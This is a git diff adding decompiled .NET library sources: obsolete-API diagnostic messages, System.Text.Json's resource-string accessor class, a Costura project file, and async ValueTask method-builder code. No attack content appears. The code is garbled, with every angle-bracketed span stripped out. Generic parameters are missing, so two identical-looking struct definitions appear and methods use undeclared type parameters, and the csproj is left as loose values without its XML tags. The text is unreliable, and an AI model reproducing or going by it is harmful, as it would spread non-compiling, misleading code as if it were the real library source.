a standard import and export format such as ExportSubjectPublicKeyInfo or ImportSubjectPublicKeyInfo for public keys and ExportPkcs8PrivateKey or ImportPkcs8PrivateKey for private keys."; + + internal const string EccXmlExportImportDiagId = "SYSLIB0042"; + + internal const string EcDhPublicKeyBlobMessage = "ECDiffieHellmanPublicKey.ToByteArray() and the associated constructor do not have a consistent and interoperable implementation on all platforms. Use ECDiffieHellmanPublicKey.ExportSubjectPublicKeyInfo() instead."; + + internal const string EcDhPublicKeyBlobDiagId = "SYSLIB0043"; + + internal const string AssemblyNameCodeBaseMessage = "AssemblyName.CodeBase and AssemblyName.EscapedCodeBase are obsolete. Using them for loading an assembly is not supported."; + + internal const string AssemblyNameCodeBaseDiagId = "SYSLIB0044"; + + internal const string CryptoStringFactoryMessage = "Cryptographic factory methods accepting an algorithm name are obsolete. Use the parameterless Create factory method on the algorithm type instead."; + + internal const string CryptoStringFactoryDiagId = "SYSLIB0045"; + + internal const string ControlledExecutionRunMessage = "ControlledExecution.Run method may corrupt the process and should not be used in production code."; + + internal const string ControlledExecutionRunDiagId = "SYSLIB0046"; + + internal const string XmlSecureResolverMessage = "XmlSecureResolver is obsolete. Use XmlResolver.ThrowingResolver instead when attempting to forbid XML external entity resolution."; + + internal const string XmlSecureResolverDiagId = "SYSLIB0047"; + + internal const string RsaEncryptDecryptValueMessage = "RSA.EncryptValue and DecryptValue are not supported and throw NotSupportedException. Use RSA.Encrypt and RSA.Decrypt instead."; + + internal const string RsaEncryptDecryptDiagId = "SYSLIB0048"; + + internal const string JsonSerializerOptionsAddContextMessage = "JsonSerializerOptions.AddContext is obsolete. To register a JsonSerializerContext, use either the TypeInfoResolver or TypeInfoResolverChain properties."; + + internal const string JsonSerializerOptionsAddContextDiagId = "SYSLIB0049"; + + internal const string LegacyFormatterMessage = "Formatter-based serialization is obsolete and should not be used."; + + internal const string LegacyFormatterDiagId = "SYSLIB0050"; + + internal const string LegacyFormatterImplMessage = "This API supports obsolete formatter-based serialization. It should not be called or extended by application code."; + + internal const string LegacyFormatterImplDiagId = "SYSLIB0051"; + + internal const string RegexExtensibilityImplMessage = "This API supports obsolete mechanisms for Regex extensibility. It is not supported."; + + internal const string RegexExtensibilityDiagId = "SYSLIB0052"; + + internal const string AesGcmTagConstructorMessage = "AesGcm should indicate the required tag size for encryption and decryption. Use a constructor that accepts the tag size."; + + internal const string AesGcmTagConstructorDiagId = "SYSLIB0053"; +} diff --git a/decompiled/Libraries/system.text.json/System/SR.cs b/decompiled/Libraries/system.text.json/System/SR.cs new file mode 100644 index 0000000..6032c2f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System/SR.cs @@ -0,0 +1,525 @@ +using System.Resources; +using FxResources.System.Text.Json; + +namespace System; + +internal static class SR +{ + private static readonly bool s_usingResourceKeys = AppContext.TryGetSwitch("System.Resources.UseSystemResourceKeys", out var isEnabled) && isEnabled; + + private static ResourceManager s_resourceManager; + + internal static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(typeof(SR))); + + internal static string ArrayDepthTooLarge => GetResourceString("ArrayDepthTooLarge"); + + internal static string CallFlushToAvoidDataLoss => GetResourceString("CallFlushToAvoidDataLoss"); + + internal static string CannotReadIncompleteUTF16 => GetResourceString("CannotReadIncompleteUTF16"); + + internal static string CannotReadInvalidUTF16 => GetResourceString("CannotReadInvalidUTF16"); + + internal static string CannotStartObjectArrayAfterPrimitiveOrClose => GetResourceString("CannotStartObjectArrayAfterPrimitiveOrClose"); + + internal static string CannotStartObjectArrayWithoutProperty => GetResourceString("CannotStartObjectArrayWithoutProperty"); + + internal static string CannotTranscodeInvalidUtf8 => GetResourceString("CannotTranscodeInvalidUtf8"); + + internal static string CannotDecodeInvalidBase64 => GetResourceString("CannotDecodeInvalidBase64"); + + internal static string CannotTranscodeInvalidUtf16 => GetResourceString("CannotTranscodeInvalidUtf16"); + + internal static string CannotEncodeInvalidUTF16 => GetResourceString("CannotEncodeInvalidUTF16"); + + internal static string CannotEncodeInvalidUTF8 => GetResourceString("CannotEncodeInvalidUTF8"); + + internal static string CannotWritePropertyWithinArray => GetResourceString("CannotWritePropertyWithinArray"); + + internal static string CannotWritePropertyAfterProperty => GetResourceString("CannotWritePropertyAfterProperty"); + + internal static string CannotWriteValueAfterPrimitiveOrClose => GetResourceString("CannotWriteValueAfterPrimitiveOrClose"); + + internal static string CannotWriteValueWithinObject => GetResourceString("CannotWriteValueWithinObject"); + + internal static string DepthTooLarge => GetResourceString("DepthTooLarge"); + + internal static string DestinationTooShort => GetResourceString("DestinationTooShort"); + + internal static string EmptyJsonIsInvalid => GetResourceString("EmptyJsonIsInvalid"); + + internal static string EndOfCommentNotFound => GetResourceString("EndOfCommentNotFound"); + + internal static string EndOfStringNotFound => GetResourceString("EndOfStringNotFound"); + + internal static string ExpectedEndAfterSingleJson => GetResourceString("ExpectedEndAfterSingleJson"); + + internal static string ExpectedEndOfDigitNotFound => GetResourceString("ExpectedEndOfDigitNotFound"); + + internal static string ExpectedFalse => GetResourceString("ExpectedFalse"); + + internal static string ExpectedJsonTokens => GetResourceString("ExpectedJsonTokens"); + + internal static string ExpectedOneCompleteToken => GetResourceString("ExpectedOneCompleteToken"); + + internal static string ExpectedNextDigitEValueNotFound => GetResourceString("ExpectedNextDigitEValueNotFound"); + + internal static string ExpectedNull => GetResourceString("ExpectedNull"); + + internal static string ExpectedSeparatorAfterPropertyNameNotFound => GetResourceString("ExpectedSeparatorAfterPropertyNameNotFound"); + + internal static string ExpectedStartOfPropertyNotFound => GetResourceString("ExpectedStartOfPropertyNotFound"); + + internal static string ExpectedStartOfPropertyOrValueNotFound => GetResourceString("ExpectedStartOfPropertyOrValueNotFound"); + + internal static string ExpectedStartOfValueNotFound => GetResourceString("ExpectedStartOfValueNotFound"); + + internal static string ExpectedTrue => GetResourceString("ExpectedTrue"); + + internal static string ExpectedValueAfterPropertyNameNotFound => GetResourceString("ExpectedValueAfterPropertyNameNotFound"); + + internal static string FailedToGetLargerSpan => GetResourceString("FailedToGetLargerSpan"); + + internal static string FoundInvalidCharacter => GetResourceString("FoundInvalidCharacter"); + + internal static string InvalidCast => GetResourceString("InvalidCast"); + + internal static string InvalidCharacterAfterEscapeWithinString => GetResourceString("InvalidCharacterAfterEscapeWithinString"); + + internal static string InvalidCharacterWithinString => GetResourceString("InvalidCharacterWithinString"); + + internal static string InvalidEnumTypeWithSpecialChar => GetResourceString("InvalidEnumTypeWithSpecialChar"); + + internal static string InvalidEndOfJsonNonPrimitive => GetResourceString("InvalidEndOfJsonNonPrimitive"); + + internal static string InvalidHexCharacterWithinString => GetResourceString("InvalidHexCharacterWithinString"); + + internal static string JsonDocumentDoesNotSupportComments => GetResourceString("JsonDocumentDoesNotSupportComments"); + + internal static string JsonElementHasWrongType => GetResourceString("JsonElementHasWrongType"); + + internal static string DefaultTypeInfoResolverImmutable => GetResourceString("DefaultTypeInfoResolverImmutable"); + + internal static string TypeInfoResolverChainImmutable => GetResourceString("TypeInfoResolverChainImmutable"); + + internal static string TypeInfoImmutable => GetResourceString("TypeInfoImmutable"); + + internal static string MaxDepthMustBePositive => GetResourceString("MaxDepthMustBePositive"); + + internal static string CommentHandlingMustBeValid => GetResourceString("CommentHandlingMustBeValid"); + + internal static string MismatchedObjectArray => GetResourceString("MismatchedObjectArray"); + + internal static string CannotWriteEndAfterProperty => GetResourceString("CannotWriteEndAfterProperty"); + + internal static string ObjectDepthTooLarge => GetResourceString("ObjectDepthTooLarge"); + + internal static string PropertyNameTooLarge => GetResourceString("PropertyNameTooLarge"); + + internal static string FormatDecimal => GetResourceString("FormatDecimal"); + + internal static string FormatDouble => GetResourceString("FormatDouble"); + + internal static string FormatInt32 => GetResourceString("FormatInt32"); + + internal static string FormatInt64 => GetResourceString("FormatInt64"); + + internal static string FormatSingle => GetResourceString("FormatSingle"); + + internal static string FormatUInt32 => GetResourceString("FormatUInt32"); + + internal static string FormatUInt64 => GetResourceString("FormatUInt64"); + + internal static string RequiredDigitNotFoundAfterDecimal => GetResourceString("RequiredDigitNotFoundAfterDecimal"); + + internal static string RequiredDigitNotFoundAfterSign => GetResourceString("RequiredDigitNotFoundAfterSign"); + + internal static string RequiredDigitNotFoundEndOfData => GetResourceString("RequiredDigitNotFoundEndOfData"); + + internal static string SpecialNumberValuesNotSupported => GetResourceString("SpecialNumberValuesNotSupported"); + + internal static string ValueTooLarge => GetResourceString("ValueTooLarge"); + + internal static string ZeroDepthAtEnd => GetResourceString("ZeroDepthAtEnd"); + + internal static string DeserializeUnableToConvertValue => GetResourceString("DeserializeUnableToConvertValue"); + + internal static string DeserializeWrongType => GetResourceString("DeserializeWrongType"); + + internal static string SerializationInvalidBufferSize => GetResourceString("SerializationInvalidBufferSize"); + + internal static string BufferWriterAdvancedTooFar => GetResourceString("BufferWriterAdvancedTooFar"); + + internal static string InvalidComparison => GetResourceString("InvalidComparison"); + + internal static string UnsupportedFormat => GetResourceString("UnsupportedFormat"); + + internal static string ExpectedStartOfPropertyOrValueAfterComment => GetResourceString("ExpectedStartOfPropertyOrValueAfterComment"); + + internal static string TrailingCommaNotAllowedBeforeArrayEnd => GetResourceString("TrailingCommaNotAllowedBeforeArrayEnd"); + + internal static string TrailingCommaNotAllowedBeforeObjectEnd => GetResourceString("TrailingCommaNotAllowedBeforeObjectEnd"); + + internal static string SerializerOptionsReadOnly => GetResourceString("SerializerOptionsReadOnly"); + + internal static string SerializerOptions_InvalidChainedResolver => GetResourceString("SerializerOptions_InvalidChainedResolver"); + + internal static string StreamNotWritable => GetResourceString("StreamNotWritable"); + + internal static string CannotWriteCommentWithEmbeddedDelimiter => GetResourceString("CannotWriteCommentWithEmbeddedDelimiter"); + + internal static string SerializerPropertyNameConflict => GetResourceString("SerializerPropertyNameConflict"); + + internal static string SerializerPropertyNameNull => GetResourceString("SerializerPropertyNameNull"); + + internal static string SerializationDataExtensionPropertyInvalid => GetResourceString("SerializationDataExtensionPropertyInvalid"); + + internal static string SerializationDuplicateTypeAttribute => GetResourceString("SerializationDuplicateTypeAttribute"); + + internal static string ExtensionDataConflictsWithUnmappedMemberHandling => GetResourceString("ExtensionDataConflictsWithUnmappedMemberHandling"); + + internal static string SerializationNotSupportedType => GetResourceString("SerializationNotSupportedType"); + + internal static string TypeRequiresAsyncSerialization => GetResourceString("TypeRequiresAsyncSerialization"); + + internal static string InvalidCharacterAtStartOfComment => GetResourceString("InvalidCharacterAtStartOfComment"); + + internal static string UnexpectedEndOfDataWhileReadingComment => GetResourceString("UnexpectedEndOfDataWhileReadingComment"); + + internal static string CannotSkip => GetResourceString("CannotSkip"); + + internal static string NotEnoughData => GetResourceString("NotEnoughData"); + + internal static string UnexpectedEndOfLineSeparator => GetResourceString("UnexpectedEndOfLineSeparator"); + + internal static string JsonSerializerDoesNotSupportComments => GetResourceString("JsonSerializerDoesNotSupportComments"); + + internal static string DeserializeNoConstructor => GetResourceString("DeserializeNoConstructor"); + + internal static string DeserializePolymorphicInterface => GetResourceString("DeserializePolymorphicInterface"); + + internal static string SerializationConverterOnAttributeNotCompatible => GetResourceString("SerializationConverterOnAttributeNotCompatible"); + + internal static string SerializationConverterOnAttributeInvalid => GetResourceString("SerializationConverterOnAttributeInvalid"); + + internal static string SerializationConverterRead => GetResourceString("SerializationConverterRead"); + + internal static string SerializationConverterNotCompatible => GetResourceString("SerializationConverterNotCompatible"); + + internal static string ResolverTypeNotCompatible => GetResourceString("ResolverTypeNotCompatible"); + + internal static string ResolverTypeInfoOptionsNotCompatible => GetResourceString("ResolverTypeInfoOptionsNotCompatible"); + + internal static string SerializationConverterWrite => GetResourceString("SerializationConverterWrite"); + + internal static string NamingPolicyReturnNull => GetResourceString("NamingPolicyReturnNull"); + + internal static string SerializationDuplicateAttribute => GetResourceString("SerializationDuplicateAttribute"); + + internal static string SerializeUnableToSerialize => GetResourceString("SerializeUnableToSerialize"); + + internal static string FormatByte => GetResourceString("FormatByte"); + + internal static string FormatInt16 => GetResourceString("FormatInt16"); + + internal static string FormatSByte => GetResourceString("FormatSByte"); + + internal static string FormatUInt16 => GetResourceString("FormatUInt16"); + + internal static string SerializerCycleDetected => GetResourceString("SerializerCycleDetected"); + + internal static string InvalidLeadingZeroInNumber => GetResourceString("InvalidLeadingZeroInNumber"); + + internal static string MetadataCannotParsePreservedObjectToImmutable => GetResourceString("MetadataCannotParsePreservedObjectToImmutable"); + + internal static string MetadataDuplicateIdFound => GetResourceString("MetadataDuplicateIdFound"); + + internal static string MetadataIdIsNotFirstProperty => GetResourceString("MetadataIdIsNotFirstProperty"); + + internal static string MetadataInvalidReferenceToValueType => GetResourceString("MetadataInvalidReferenceToValueType"); + + internal static string MetadataInvalidTokenAfterValues => GetResourceString("MetadataInvalidTokenAfterValues"); + + internal static string MetadataPreservedArrayFailed => GetResourceString("MetadataPreservedArrayFailed"); + + internal static string MetadataInvalidPropertyInArrayMetadata => GetResourceString("MetadataInvalidPropertyInArrayMetadata"); + + internal static string MetadataStandaloneValuesProperty => GetResourceString("MetadataStandaloneValuesProperty"); + + internal static string MetadataReferenceCannotContainOtherProperties => GetResourceString("MetadataReferenceCannotContainOtherProperties"); + + internal static string MetadataReferenceNotFound => GetResourceString("MetadataReferenceNotFound"); + + internal static string MetadataValueWasNotString => GetResourceString("MetadataValueWasNotString"); + + internal static string MetadataInvalidPropertyWithLeadingDollarSign => GetResourceString("MetadataInvalidPropertyWithLeadingDollarSign"); + + internal static string MetadataUnexpectedProperty => GetResourceString("MetadataUnexpectedProperty"); + + internal static string UnmappedJsonProperty => GetResourceString("UnmappedJsonProperty"); + + internal static string MetadataDuplicateTypeProperty => GetResourceString("MetadataDuplicateTypeProperty"); + + internal static string MultipleMembersBindWithConstructorParameter => GetResourceString("MultipleMembersBindWithConstructorParameter"); + + internal static string ConstructorParamIncompleteBinding => GetResourceString("ConstructorParamIncompleteBinding"); + + internal static string ObjectWithParameterizedCtorRefMetadataNotSupported => GetResourceString("ObjectWithParameterizedCtorRefMetadataNotSupported"); + + internal static string SerializerConverterFactoryReturnsNull => GetResourceString("SerializerConverterFactoryReturnsNull"); + + internal static string SerializationNotSupportedParentType => GetResourceString("SerializationNotSupportedParentType"); + + internal static string ExtensionDataCannotBindToCtorParam => GetResourceString("ExtensionDataCannotBindToCtorParam"); + + internal static string BufferMaximumSizeExceeded => GetResourceString("BufferMaximumSizeExceeded"); + + internal static string CannotSerializeInvalidType => GetResourceString("CannotSerializeInvalidType"); + + internal static string SerializeTypeInstanceNotSupported => GetResourceString("SerializeTypeInstanceNotSupported"); + + internal static string JsonIncludeOnInaccessibleProperty => GetResourceString("JsonIncludeOnInaccessibleProperty"); + + internal static string CannotSerializeInvalidMember => GetResourceString("CannotSerializeInvalidMember"); + + internal static string CannotPopulateCollection => GetResourceString("CannotPopulateCollection"); + + internal static string ConstructorContainsNullParameterNames => GetResourceString("ConstructorContainsNullParameterNames"); + + internal static string DefaultIgnoreConditionAlreadySpecified => GetResourceString("DefaultIgnoreConditionAlreadySpecified"); + + internal static string DefaultIgnoreConditionInvalid => GetResourceString("DefaultIgnoreConditionInvalid"); + + internal static string DictionaryKeyTypeNotSupported => GetResourceString("DictionaryKeyTypeNotSupported"); + + internal static string IgnoreConditionOnValueTypeInvalid => GetResourceString("IgnoreConditionOnValueTypeInvalid"); + + internal static string NumberHandlingOnPropertyInvalid => GetResourceString("NumberHandlingOnPropertyInvalid"); + + internal static string ConverterCanConvertMultipleTypes => GetResourceString("ConverterCanConvertMultipleTypes"); + + internal static string MetadataReferenceOfTypeCannotBeAssignedToType => GetResourceString("MetadataReferenceOfTypeCannotBeAssignedToType"); + + internal static string DeserializeUnableToAssignValue => GetResourceString("DeserializeUnableToAssignValue"); + + internal static string DeserializeUnableToAssignNull => GetResourceString("DeserializeUnableToAssignNull"); + + internal static string SerializerConverterFactoryReturnsJsonConverterFactory => GetResourceString("SerializerConverterFactoryReturnsJsonConverterFactory"); + + internal static string SerializerConverterFactoryInvalidArgument => GetResourceString("SerializerConverterFactoryInvalidArgument"); + + internal static string NodeElementWrongType => GetResourceString("NodeElementWrongType"); + + internal static string NodeElementCannotBeObjectOrArray => GetResourceString("NodeElementCannotBeObjectOrArray"); + + internal static string NodeAlreadyHasParent => GetResourceString("NodeAlreadyHasParent"); + + internal static string NodeCycleDetected => GetResourceString("NodeCycleDetected"); + + internal static string NodeUnableToConvert => GetResourceString("NodeUnableToConvert"); + + internal static string NodeUnableToConvertElement => GetResourceString("NodeUnableToConvertElement"); + + internal static string NodeValueNotAllowed => GetResourceString("NodeValueNotAllowed"); + + internal static string NodeWrongType => GetResourceString("NodeWrongType"); + + internal static string NodeParentWrongType => GetResourceString("NodeParentWrongType"); + + internal static string NodeDuplicateKey => GetResourceString("NodeDuplicateKey"); + + internal static string SerializerContextOptionsReadOnly => GetResourceString("SerializerContextOptionsReadOnly"); + + internal static string ConverterForPropertyMustBeValid => GetResourceString("ConverterForPropertyMustBeValid"); + + internal static string NoMetadataForType => GetResourceString("NoMetadataForType"); + + internal static string AmbiguousMetadataForType => GetResourceString("AmbiguousMetadataForType"); + + internal static string CollectionIsReadOnly => GetResourceString("CollectionIsReadOnly"); + + internal static string ArrayIndexNegative => GetResourceString("ArrayIndexNegative"); + + internal static string ArrayTooSmall => GetResourceString("ArrayTooSmall"); + + internal static string NodeJsonObjectCustomConverterNotAllowedOnExtensionProperty => GetResourceString("NodeJsonObjectCustomConverterNotAllowedOnExtensionProperty"); + + internal static string NoMetadataForTypeProperties => GetResourceString("NoMetadataForTypeProperties"); + + internal static string FieldCannotBeVirtual => GetResourceString("FieldCannotBeVirtual"); + + internal static string MissingFSharpCoreMember => GetResourceString("MissingFSharpCoreMember"); + + internal static string FSharpDiscriminatedUnionsNotSupported => GetResourceString("FSharpDiscriminatedUnionsNotSupported"); + + internal static string Polymorphism_BaseConverterDoesNotSupportMetadata => GetResourceString("Polymorphism_BaseConverterDoesNotSupportMetadata"); + + internal static string Polymorphism_DerivedConverterDoesNotSupportMetadata => GetResourceString("Polymorphism_DerivedConverterDoesNotSupportMetadata"); + + internal static string Polymorphism_TypeDoesNotSupportPolymorphism => GetResourceString("Polymorphism_TypeDoesNotSupportPolymorphism"); + + internal static string Polymorphism_DerivedTypeIsNotSupported => GetResourceString("Polymorphism_DerivedTypeIsNotSupported"); + + internal static string Polymorphism_DerivedTypeIsAlreadySpecified => GetResourceString("Polymorphism_DerivedTypeIsAlreadySpecified"); + + internal static string Polymorphism_TypeDicriminatorIdIsAlreadySpecified => GetResourceString("Polymorphism_TypeDicriminatorIdIsAlreadySpecified"); + + internal static string Polymorphism_InvalidCustomTypeDiscriminatorPropertyName => GetResourceString("Polymorphism_InvalidCustomTypeDiscriminatorPropertyName"); + + internal static string Polymorphism_ConfigurationDoesNotSpecifyDerivedTypes => GetResourceString("Polymorphism_ConfigurationDoesNotSpecifyDerivedTypes"); + + internal static string Polymorphism_UnrecognizedTypeDiscriminator => GetResourceString("Polymorphism_UnrecognizedTypeDiscriminator"); + + internal static string Polymorphism_RuntimeTypeNotSupported => GetResourceString("Polymorphism_RuntimeTypeNotSupported"); + + internal static string Polymorphism_RuntimeTypeDiamondAmbiguity => GetResourceString("Polymorphism_RuntimeTypeDiamondAmbiguity"); + + internal static string InvalidJsonTypeInfoOperationForKind => GetResourceString("InvalidJsonTypeInfoOperationForKind"); + + internal static string CreateObjectConverterNotCompatible => GetResourceString("CreateObjectConverterNotCompatible"); + + internal static string JsonPropertyInfoBoundToDifferentParent => GetResourceString("JsonPropertyInfoBoundToDifferentParent"); + + internal static string JsonSerializerOptionsNoTypeInfoResolverSpecified => GetResourceString("JsonSerializerOptionsNoTypeInfoResolverSpecified"); + + internal static string JsonSerializerIsReflectionDisabled => GetResourceString("JsonSerializerIsReflectionDisabled"); + + internal static string JsonPolymorphismOptionsAssociatedWithDifferentJsonTypeInfo => GetResourceString("JsonPolymorphismOptionsAssociatedWithDifferentJsonTypeInfo"); + + internal static string JsonPropertyRequiredAndNotDeserializable => GetResourceString("JsonPropertyRequiredAndNotDeserializable"); + + internal static string JsonPropertyRequiredAndExtensionData => GetResourceString("JsonPropertyRequiredAndExtensionData"); + + internal static string JsonRequiredPropertiesMissing => GetResourceString("JsonRequiredPropertiesMissing"); + + internal static string ObjectCreationHandlingPopulateNotSupportedByConverter => GetResourceString("ObjectCreationHandlingPopulateNotSupportedByConverter"); + + internal static string ObjectCreationHandlingPropertyMustHaveAGetter => GetResourceString("ObjectCreationHandlingPropertyMustHaveAGetter"); + + internal static string ObjectCreationHandlingPropertyValueTypeMustHaveASetter => GetResourceString("ObjectCreationHandlingPropertyValueTypeMustHaveASetter"); + + internal static string ObjectCreationHandlingPropertyCannotAllowPolymorphicDeserialization => GetResourceString("ObjectCreationHandlingPropertyCannotAllowPolymorphicDeserialization"); + + internal static string ObjectCreationHandlingPropertyCannotAllowReadOnlyMember => GetResourceString("ObjectCreationHandlingPropertyCannotAllowReadOnlyMember"); + + internal static string ObjectCreationHandlingPropertyCannotAllowReferenceHandling => GetResourceString("ObjectCreationHandlingPropertyCannotAllowReferenceHandling"); + + internal static string ObjectCreationHandlingPropertyDoesNotSupportParameterizedConstructors => GetResourceString("ObjectCreationHandlingPropertyDoesNotSupportParameterizedConstructors"); + + internal static string FormatInt128 => GetResourceString("FormatInt128"); + + internal static string FormatUInt128 => GetResourceString("FormatUInt128"); + + internal static string FormatHalf => GetResourceString("FormatHalf"); + + internal static bool UsingResourceKeys() + { + return s_usingResourceKeys; + } + + private static string GetResourceString(string resourceKey) + { + if (UsingResourceKeys()) + { + return resourceKey; + } + string result = null; + try + { + result = ResourceManager.GetString(resourceKey); + } + catch (MissingManifestResourceException) + { + } + return result; + } + + private static string GetResourceString(string resourceKey, string defaultString) + { + string resourceString = GetResourceString(resourceKey); + if (!(resourceKey == resourceString) && resourceString != null) + { + return resourceString; + } + return defaultString; + } + + internal static string Format(string resourceFormat, object p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(resourceFormat, p1); + } + + internal static string Format(string resourceFormat, object p1, object p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(resourceFormat, p1, p2); + } + + internal static string Format(string resourceFormat, object p1, object p2, object p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(resourceFormat, p1, p2, p3); + } + + internal static string Format(string resourceFormat, params object[] args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + ", " + string.Join(", ", args); + } + return string.Format(resourceFormat, args); + } + return resourceFormat; + } + + internal static string Format(IFormatProvider provider, string resourceFormat, object p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(provider, resourceFormat, p1); + } + + internal static string Format(IFormatProvider provider, string resourceFormat, object p1, object p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(provider, resourceFormat, p1, p2); + } + + internal static string Format(IFormatProvider provider, string resourceFormat, object p1, object p2, object p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(provider, resourceFormat, p1, p2, p3); + } + + internal static string Format(IFormatProvider provider, string resourceFormat, params object[] args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + ", " + string.Join(", ", args); + } + return string.Format(provider, resourceFormat, args); + } + return resourceFormat; + } +} diff --git a/decompiled/Libraries/system.text.json/costura.system.text.json.csproj b/decompiled/Libraries/system.text.json/costura.system.text.json.csproj new file mode 100644 index 0000000..10ce86e --- /dev/null +++ b/decompiled/Libraries/system.text.json/costura.system.text.json.csproj @@ -0,0 +1,32 @@ + + + System.Text.Json + False + net462 + + + 14.0 + True + False + + + + + + + + + + + + + + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Core.dll + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.threading.tasks.extensions/.DS_Store b/decompiled/Libraries/system.threading.tasks.extensions/.DS_Store new file mode 100644 index 0000000..fe42427 Binary files /dev/null and b/decompiled/Libraries/system.threading.tasks.extensions/.DS_Store differ diff --git a/decompiled/Libraries/system.threading.tasks.extensions/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.threading.tasks.extensions/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..580ba44 --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/Properties/AssemblyInfo.cs @@ -0,0 +1,18 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyTitle("System.Threading.Tasks.Extensions")] +[assembly: AssemblyDescription("System.Threading.Tasks.Extensions")] +[assembly: AssemblyDefaultAlias("System.Threading.Tasks.Extensions")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyProduct("Microsoft® .NET Framework")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.6.28619.01")] +[assembly: AssemblyInformationalVersion("4.6.28619.01 @BuiltBy: dlab14-DDVSOWINAGE069 @Branch: release/2.1 @SrcCode: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata(".NETFrameworkAssembly", "")] +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: AssemblyVersion("4.2.0.1")] diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System.Diagnostics/StackTraceHiddenAttribute.cs b/decompiled/Libraries/system.threading.tasks.extensions/System.Diagnostics/StackTraceHiddenAttribute.cs new file mode 100644 index 0000000..e09be44 --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System.Diagnostics/StackTraceHiddenAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Constructor | AttributeTargets.Method, Inherited = false)] +internal sealed class StackTraceHiddenAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/AsyncMethodBuilderAttribute.cs b/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/AsyncMethodBuilderAttribute.cs new file mode 100644 index 0000000..12994ff --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/AsyncMethodBuilderAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Runtime.CompilerServices; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Interface | AttributeTargets.Delegate, Inherited = false, AllowMultiple = false)] +public sealed class AsyncMethodBuilderAttribute : Attribute +{ + public Type BuilderType { get; } + + public AsyncMethodBuilderAttribute(Type builderType) + { + BuilderType = builderType; + } +} diff --git a/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/AsyncValueTaskMethodBuilder.cs b/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/AsyncValueTaskMethodBuilder.cs new file mode 100644 index 0000000..18f71e0 --- /dev/null +++ b/decompiled/Libraries/system.threading.tasks.extensions/System.Runtime.CompilerServices/AsyncValueTaskMethodBuilder.cs @@ -0,0 +1,143 @@ +using System.Runtime.InteropServices; +using System.Security; +using System.Threading.Tasks; + +namespace System.Runtime.CompilerServices; + +[StructLayout(LayoutKind.Auto)] +public struct AsyncValueTaskMethodBuilder +{ + private AsyncTaskMethodBuilder _methodBuilder; + + private bool _haveResult; + + private bool _useBuilder; + + public ValueTask Task + { + get + { + if (_haveResult) + { + return default(ValueTask); + } + _useBuilder = true; + return new ValueTask(_methodBuilder.Task); + } + } + + public static AsyncValueTaskMethodBuilder Create() + { + return default(AsyncValueTaskMethodBuilder); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void Start(ref TStateMachine stateMachine) where TStateMachine : IAsyncStateMachine + { + _methodBuilder.Start(ref stateMachine); + } + + public void SetStateMachine(IAsyncStateMachine stateMachine) + { + _methodBuilder.SetStateMachine(stateMachine); + } + + public void SetResult() + { + if (_useBuilder) + { + _methodBuilder.SetResult(); + } + else + { + _haveResult = true; + } + } + + public void SetException(Exception exception) + { + _methodBuilder.SetException(exception); + } + + public void AwaitOnCompleted(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : INotifyCompletion where TStateMachine : IAsyncStateMachine + { + _useBuilder = true; + _methodBuilder.AwaitOnCompleted(ref awaiter, ref stateMachine); + } + + [SecuritySafeCritical] + public void AwaitUnsafeOnCompleted(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : ICriticalNotifyCompletion where TStateMachine : IAsyncStateMachine + { + _useBuilder = true; + _methodBuilder.AwaitUnsafeOnCompleted(ref awaiter, ref stateMachine); + } +} +[StructLayout(LayoutKind.Auto)] +public struct AsyncValueTaskMethodBuilder +{ + private AsyncTaskMethodBuilder _methodBuilder; + + private TResult _result; + + private bool _haveResult; + + private bool _useBuilder; + + public ValueTask Task + { + get + { + if (_haveResult) + { + return new ValueTask(_result); + } + _useBuilder = true; + return new ValueTask(_methodBuilder.Task); + } + } + + public static AsyncValueTaskMethodBuilder Create() + { + return default(AsyncValueTaskMethodBuilder); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void Start(ref TStateMachine stateMachine) where TStateMachine : IAsyncStateMachine + { + _methodBuilder.Start(ref stateMachine); + } + 